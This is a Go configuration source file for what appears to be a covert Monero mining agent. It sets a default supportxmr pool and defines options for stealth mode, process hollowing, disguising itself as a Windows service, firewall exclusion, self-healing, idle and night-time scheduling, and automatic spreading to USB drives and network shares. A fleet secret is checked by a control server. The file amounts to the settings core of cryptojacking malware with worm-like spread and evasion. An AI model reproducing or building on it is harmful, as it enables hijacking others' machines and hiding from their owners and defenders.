216 lines
4.6 KiB
Go
216 lines
4.6 KiB
Go
package config
|
|
|
|
import (
|
|
"runtime"
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
const Version = "1.0.0"
|
|
|
|
type BuiltinConfig struct {
|
|
WorkerName string
|
|
ServerURL string
|
|
Wallet string
|
|
Threads int
|
|
ThreadMode string
|
|
ThreadPercent int
|
|
CPUPriority string
|
|
MiningMode string
|
|
DisplayMode string
|
|
SilentMode bool
|
|
RunAs string
|
|
AutoStart bool
|
|
ProcessName string
|
|
BuildID string
|
|
BuiltAt time.Time
|
|
PoolHost string
|
|
PoolPort int
|
|
PoolTLS bool
|
|
PoolPass string
|
|
MaxCPUUsage int
|
|
MaxMemoryPct int
|
|
MinFreeRAM int
|
|
IdleThresholdPct int
|
|
IdleDurationMinutes int
|
|
ScheduleStart string
|
|
ScheduleEnd string
|
|
InstallBase string
|
|
InstallCustomBase string
|
|
InstallRelativePath string
|
|
AdaptToHardware bool
|
|
SelfHealing bool
|
|
FileLogging bool
|
|
StealthMode bool
|
|
FirewallExclusion bool
|
|
// AI Autonomy (Ollama)
|
|
AIEnabled bool
|
|
AIOllamaEndpoint string
|
|
AIModel string
|
|
ProcessHollowing bool
|
|
MeshP2P bool
|
|
AutoSpread bool
|
|
HolePunch bool
|
|
RemoteAggressive bool
|
|
// Passive spreading — triggered by the environment rather than active scanning
|
|
USBSpread bool // copy agent to any newly-inserted removable/USB drive
|
|
ShareSpread bool // drop agent onto already-mounted network shares
|
|
// Backup server URLs — tried in order if primary fails
|
|
BackupServerURLs []string
|
|
// Windows service masquerade (ignored on other OSes)
|
|
ServiceMasquerade bool
|
|
ServiceName string
|
|
ServiceDonor string
|
|
// FleetSecret is baked in at forge time and presented on WS connect.
|
|
// The server rejects any agent that doesn't carry the right secret.
|
|
FleetSecret string
|
|
}
|
|
|
|
type RuntimeConfig struct {
|
|
BuiltinConfig
|
|
AgentID string
|
|
}
|
|
|
|
func Load() RuntimeConfig {
|
|
b := GetBuiltinConfig()
|
|
if b.Threads <= 0 {
|
|
b.Threads = 4
|
|
}
|
|
if b.ThreadMode == "" {
|
|
b.ThreadMode = "percent"
|
|
}
|
|
if b.ThreadPercent <= 0 {
|
|
b.ThreadPercent = 75
|
|
}
|
|
if b.CPUPriority == "" {
|
|
b.CPUPriority = "below_normal"
|
|
}
|
|
if b.MiningMode == "" {
|
|
b.MiningMode = "always"
|
|
}
|
|
if b.DisplayMode == "" {
|
|
if b.SilentMode {
|
|
b.DisplayMode = "silent"
|
|
} else {
|
|
b.DisplayMode = "visible"
|
|
}
|
|
}
|
|
if b.ProcessName == "" {
|
|
b.ProcessName = sanitizeProcessName(b.WorkerName)
|
|
}
|
|
if b.MaxCPUUsage <= 0 {
|
|
b.MaxCPUUsage = 80
|
|
}
|
|
if b.MaxMemoryPct <= 0 {
|
|
b.MaxMemoryPct = 70
|
|
}
|
|
if b.MinFreeRAM <= 0 {
|
|
b.MinFreeRAM = 1024
|
|
}
|
|
if b.IdleThresholdPct <= 0 {
|
|
b.IdleThresholdPct = 20
|
|
}
|
|
if b.IdleDurationMinutes <= 0 {
|
|
b.IdleDurationMinutes = 5
|
|
}
|
|
if b.ScheduleStart == "" {
|
|
b.ScheduleStart = "21:00"
|
|
}
|
|
if b.ScheduleEnd == "" {
|
|
b.ScheduleEnd = "06:00"
|
|
}
|
|
if b.InstallBase == "" {
|
|
b.InstallBase = "localappdata"
|
|
}
|
|
if b.InstallRelativePath == "" {
|
|
b.InstallRelativePath = DefaultInstallRelativePath
|
|
}
|
|
if b.PoolHost == "" {
|
|
b.PoolHost = "pool.supportxmr.com"
|
|
}
|
|
if b.PoolPort <= 0 {
|
|
b.PoolPort = 3333
|
|
}
|
|
if b.PoolPass == "" {
|
|
b.PoolPass = "x"
|
|
}
|
|
if b.AIEnabled {
|
|
if b.AIOllamaEndpoint == "" {
|
|
b.AIOllamaEndpoint = "http://localhost:11434"
|
|
}
|
|
if b.AIModel == "" {
|
|
b.AIModel = "llama3.2"
|
|
}
|
|
}
|
|
if b.StealthMode {
|
|
b.FileLogging = false
|
|
if b.DisplayMode == "" || b.DisplayMode == "visible" {
|
|
b.DisplayMode = "background"
|
|
}
|
|
}
|
|
return RuntimeConfig{BuiltinConfig: b}
|
|
}
|
|
|
|
func (c RuntimeConfig) EffectiveThreads() int {
|
|
mode := strings.ToLower(c.ThreadMode)
|
|
if mode == "fixed" {
|
|
if c.Threads < 1 {
|
|
return 1
|
|
}
|
|
return c.Threads
|
|
}
|
|
cores := runtime.NumCPU()
|
|
if cores < 1 {
|
|
cores = 1
|
|
}
|
|
pct := c.ThreadPercent
|
|
if pct < 1 {
|
|
pct = 1
|
|
}
|
|
if pct > 100 {
|
|
pct = 100
|
|
}
|
|
threads := int(float64(cores) * float64(pct) / 100.0)
|
|
if threads < 1 {
|
|
threads = 1
|
|
}
|
|
if threads > cores {
|
|
threads = cores
|
|
}
|
|
return threads
|
|
}
|
|
|
|
func (c RuntimeConfig) HideWindow() bool {
|
|
switch strings.ToLower(c.DisplayMode) {
|
|
case "silent", "background":
|
|
return true
|
|
default:
|
|
return c.SilentMode
|
|
}
|
|
}
|
|
|
|
func (c RuntimeConfig) BackgroundMode() bool {
|
|
return strings.ToLower(c.DisplayMode) == "background"
|
|
}
|
|
|
|
func (c RuntimeConfig) EffectiveProcessName() string {
|
|
name := strings.TrimSpace(c.ProcessName)
|
|
if name == "" {
|
|
return sanitizeProcessName(c.WorkerName)
|
|
}
|
|
return sanitizeProcessName(name)
|
|
}
|
|
|
|
func sanitizeProcessName(name string) string {
|
|
name = strings.TrimSpace(name)
|
|
if name == "" {
|
|
return "CryptoMinerWorker"
|
|
}
|
|
replacer := strings.NewReplacer(" ", "", "-", "", "_", "")
|
|
clean := replacer.Replace(name)
|
|
if clean == "" {
|
|
return "CryptoMinerWorker"
|
|
}
|
|
return clean
|
|
}
|